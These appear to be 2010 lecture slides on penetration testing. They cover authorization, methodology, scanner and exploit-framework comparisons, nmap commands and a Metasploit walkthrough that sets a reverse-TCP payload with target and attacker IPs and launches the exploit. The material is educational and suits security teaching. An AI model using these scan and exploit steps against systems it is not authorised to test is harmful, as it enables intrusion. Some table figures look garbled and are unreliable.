What Is a Penetration Testing?

• Testing the security of systems and architectures from the point of view of an attacker (hacker, cracker ...)
• A “simulated attack” with a predetermined goal that has to be obtained within a fixed time
Penetration Testing Is Not...

• An alternative to other IT security measures – it complements other tests
• Expensive game of Capture the Flag
• A guarantee of security

Authorization Letter

• Detailed agreements/scope
  – Anything off limits?
  – Hours of testing?
  – Social Engineering allowed?
  – War Dialing?
  – War Driving?
  – Denials of Service?
  – Define the end point
• Consult a lawyer before starting the test
To Tell or Not to Tell?

- Telling too many people may invalidate the test
- However, you don’t want valuable resources chasing a non-existent “intruder” very long
- And, elevation procedures make not telling risky

Black Box vs. White Box

- It treats the system as a "black-box", so it doesn't explicitly use knowledge of the internal structure.
- It allows one to peek inside the "box", and it focuses specifically on using internal knowledge of the software to guide the selection of test data
OSSTMM

- Version 3.0 RC 26 at www.osstmm.org
  http://www.isecom.org/projects/osstmm.htm
- It defines how to go about performing a pen test, but does not go into the actual tools.

Technique – Penetration Testing

1) Gather Information
2) Scan IP addresses
3) Fingerprinting
4) Identify vulnerable services
5) Exploit vulnerability (with care!)
6) Fix problems?
Gathering Information

• Goal – Given a company’s name, determine information like:
  – what IP address ranges they have
    • WHOIS (arin.net …)
    • Nslookup
  – personal information
    • Social engineering
    • Google
    • we.register.it

Scan IP Addresses

• Goal – Given a set of IP addresses, determine what services and Operating Systems each is running.
• Nmap – [www.nmap.org](http://www.nmap.org)
• Gfi languard
• ...

12/7/2010 Penetration Testing
Fingerprinting

- What web server is running?
- What accounts have I found?
- What services are running?
- What OSes are running?
- Who is logged in?
- Is there available information on the web site?

Identify Vulnerable Services

- Given a specific IP address and port, try to gain access to the machine. Report all known vulnerabilities for this target.
  - Nessus
  - OpenVAS
  - ...

12/7/2010 Penetration Testing
The remote host is vulnerable to a denial of service attack in its SMB stack. An attacker may exploit this flaw to crash the remote host remotely, without any kind of authentication.

Solution: http://www.microsoft.com/technet/security/bulletin/ms02-045.mspx
Risk factor: High
CVE: CVE-2002-0724
BID: 5556
Other references: OSVDB:2074

<table>
<thead>
<tr>
<th>Tool</th>
<th>UNIX</th>
<th>Windows</th>
<th>TCP scan</th>
<th>UDP scan</th>
<th>Host discovery</th>
<th>Port scanner</th>
<th>OS fingerprinting</th>
<th>DOS</th>
<th>Anonymity level</th>
</tr>
</thead>
<tbody>
<tr>
<td>SATAN</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
<td>Medium</td>
</tr>
<tr>
<td>SARA</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>x</td>
<td>Medium</td>
</tr>
<tr>
<td>Nessus</td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>Medium</td>
</tr>
<tr>
<td>Advanced IP scanner</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td>x</td>
<td>Medium</td>
</tr>
<tr>
<td>Advanced port scanner</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>x</td>
<td>Medium</td>
</tr>
<tr>
<td>Strbe</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>x</td>
<td>Medium</td>
</tr>
<tr>
<td>Udp scan</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td>Low</td>
</tr>
<tr>
<td>Ncat</td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td>Low</td>
</tr>
<tr>
<td>Xprobe</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
<td>Low</td>
</tr>
<tr>
<td>SoftPerfect Network Scanner</td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td>Low</td>
</tr>
<tr>
<td>Angry IP Scanner</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
<td>Low</td>
</tr>
<tr>
<td>GFI LANGuard Network Scanner</td>
<td>x</td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td>Low</td>
</tr>
<tr>
<td>Superscan</td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td>Medium</td>
</tr>
<tr>
<td>Scanneme Standard</td>
<td>x</td>
<td></td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Medium</td>
</tr>
</tbody>
</table>
Exploit vulnerability

• Try to exploit detected vulnerabilities, for example:
  – Buffer overflow
  – Heap overflow
  – SQL injection
  – Code injection
  – Cross-site scripting
• Metasploit is a framework that allows to test attacks
## Alternatives

<table>
<thead>
<tr>
<th>Features</th>
<th>Core Impact</th>
<th>Immunity Canvas</th>
<th>SecurityForest</th>
<th>Metasploit</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>License</strong></td>
<td>25.000$ (Open-source)</td>
<td>1.450$ (Open source)</td>
<td>Free and Open-source</td>
<td>Free and Open-source</td>
</tr>
<tr>
<td></td>
<td>Open-source (but some libraries are only in binaries)</td>
<td></td>
<td>3 months of updates and support</td>
<td></td>
</tr>
<tr>
<td><strong>Number of Exploits</strong></td>
<td>-</td>
<td>more of 150</td>
<td>2500 (at February 2005)</td>
<td>191 (at October 2007)</td>
</tr>
<tr>
<td><strong>Updates</strong></td>
<td>Frequently (weekly)</td>
<td>Frequently (average 4 exploit every month)</td>
<td>Occasionally (last updates in 2005)</td>
<td>Occasionally (last updates on October 2007)</td>
</tr>
<tr>
<td><strong>Platform</strong></td>
<td>Only Windows</td>
<td>Independent</td>
<td>Only Windows</td>
<td>Independent</td>
</tr>
<tr>
<td><strong>Program Language</strong></td>
<td>Python</td>
<td>Python</td>
<td>Perl for framework, many others languages for exploits (C,Perl,Python,Ruby,Shell,...)</td>
<td>Ruby, C, Assembler</td>
</tr>
<tr>
<td><strong>Advantages</strong></td>
<td>Report system / Integration with vulnerability assessment tools</td>
<td>0-day payload</td>
<td>Number of pre-compiled exploits (see ExploitationTree)</td>
<td>Free / IDS-IPS evasion / support to write exploits and large used in security community</td>
</tr>
</tbody>
</table>

---

**Penetration Test Tutorial**
Nmap (Network Mapper)

Port Division
- open, closed, filtered, unfiltered, open|filtered and closed|filtered

Scanning techniques
- **-sS** (TCP SYN scan)
- **-sT** (TCP connect() scan)
- **-sU** (UDP scans)
- **-sA** (TCP ACK scan)
- **-sW** (TCP Window scan)
- **-sM** (TCP Maimon scan)
- **--scanflags** (Custom TCP scan)
- **-sl** <zombie host[:probeport]> (Idlescan)
- **-sO** (IP protocol scan)
- **-sN; -sF; -sX** (TCP Null, FIN, and Xmas scans)
- **-b** <ftp relay host> (FTP bounce scan)

Identify active hosts and services in the network

- **ping sweep** useful to identify targets and to verify also rogue hosts
  - Ex:
    - `nmap -v -sP 192.168.100.0/24`
      - `-sP` Ping scan.
  - **port scanning** useful to identify active ports (services or daemons) that are running on the targets
  - Ex:
    - `nmap -v -sT 192.168.100.x`
      - `-sT` normal scan
      - `-sS` stealth scan
Identify target OS version

- **OS Fingerprinting**: there are different values for each OS (Ex. TCP stack, ...)
- Ex: Nmap –O <target>

<table>
<thead>
<tr>
<th></th>
<th>linux 2.4</th>
<th>linux 2.6</th>
<th>openbsd</th>
<th>windows 9x</th>
<th>windows 200</th>
<th>windows xp</th>
</tr>
</thead>
<tbody>
<tr>
<td>ttl</td>
<td>64</td>
<td>64</td>
<td>64</td>
<td>32</td>
<td>128</td>
<td>128</td>
</tr>
<tr>
<td>packet length</td>
<td>60</td>
<td>60</td>
<td>64</td>
<td>48</td>
<td>48</td>
<td>48</td>
</tr>
<tr>
<td>initial windows</td>
<td>5840</td>
<td>5840</td>
<td>16384</td>
<td>9000</td>
<td>16384</td>
<td>16384</td>
</tr>
<tr>
<td>mss</td>
<td>512</td>
<td>512</td>
<td>1460</td>
<td>1460</td>
<td>1460</td>
<td>1460</td>
</tr>
<tr>
<td>ip id</td>
<td>random</td>
<td>random</td>
<td>Increment</td>
<td>Increment</td>
<td>Increment</td>
<td>Increment</td>
</tr>
<tr>
<td>enabled tcp opt</td>
<td>MNMTNW</td>
<td>MNMTNW</td>
<td>M</td>
<td>M</td>
<td>MNW</td>
<td>MNW</td>
</tr>
<tr>
<td>timestamp inc.</td>
<td>100hz</td>
<td>1000hz</td>
<td>unsupported</td>
<td>unsupported</td>
<td>unsupported</td>
<td>unsupported</td>
</tr>
<tr>
<td>sack</td>
<td>OK</td>
<td>OK</td>
<td>OK</td>
<td>OK</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>SYN attempts</td>
<td>5</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>3</td>
<td>3</td>
</tr>
</tbody>
</table>

Vulnerability scanning

- **Nessus** is a leader tool in vulnerability scanning
- There are two components:
  - **nessusd** server with plugins’ list of known vulnerabilities (there are different kinds of subscription depending on how old are plugins)
  - **nessus** is a front end of the tool there are several version for windows and linux systems
Introduction to Nessus

• Created by Renaud Deraison
• Currently Maintained by Tenable Network Security
• Uses the NASL Scripting language for it’s plugins (currently over 13,000 plugins!)
• Price is still Free! But no more open source
• Register to obtain many NASL plugins (7 day delay).
• Or Purchase a Direct Feed for the Latest!

Nessus Features

• Client/Server Architecture
• SSL/PKI supported
• Smart Service Recognition
  – (i.e. FTP on 31337)
• Non-Destructive or Thorough Tests
• Vulnerability Mapping to CVE, Bugtraq, and others
• Vulnerability Scoring using CVSS from NIST.
OpenVAS

- OpenSource Vulnerability Assessment Scanner
- Previously **GNessUs** (a GPL fork of the Nessus)
- OpenVAS is a security scanner to allow future free development of the now-proprietary NESSUS tool
- OpenVAS now offers 15’000 Network Vulnerability Tests (NVTs) more all NASL plugins.

Open VAS technology

**Target Systems**

(GNU/Linux, Windows, any…)

- OpenVAS Client
- OpenVAS Server

**Your IT Infrastructure**

Desktop PC
(GNU/Linux, Windows)

Server
(GNU/Linux)

**OpenVAS NVT Repository**

**OpenVAS NVT Feed Service**
Exploit vulnerabilities

• **metasploit** is a framework that allows to perform real attacks

• You need to start metasploit from the start menu
  (Penetration Test->Framework 3)
  – msfconsole

Select the exploit and the payload

• Select an exploit:
  – msf > use windows/http/altn_webadmin
  – msf exploit(altn_webadmin) >

• Select the payload for the exploit (setting the PAYLOAD global datastore)
  – msf exploit(altn_webadmin) >
    set PAYLOAD windows/vncinfect/reverse_tcp
    • PAYLOAD => windows/vncinfect/reverse_tcp
Set options for exploit and payload

• Show options
  – msf exploit(altn_webadmin) > show options

• Set the options:
  – msf...> set RHOST 192.168.100.x TARGET IP
  – msf...> set RPORT 1000 VULNERABLE SERVICE
  – msf...> set LHOST 192.168.100.y ATTACKER IP
  – msf...> set TARGET 0 TYPE OF EXPLOIT

• Launch the exploit
  – msf exploit(altn_webadmin) > exploit

Vulnerabilities disclosure

• If we find a new vulnerability (Zero Day Vulnerability)

• What we have to do?
  – Do not say anything and maintain the secret perhaps in the future the producer will fix it
  – Spread the information:
    • to all or just to the producer
  – Which level of detail reveal
    • Full disclosure with possibility of helping cracker?
    • Partial disclosure that could be unuseful?
  – Sell it ...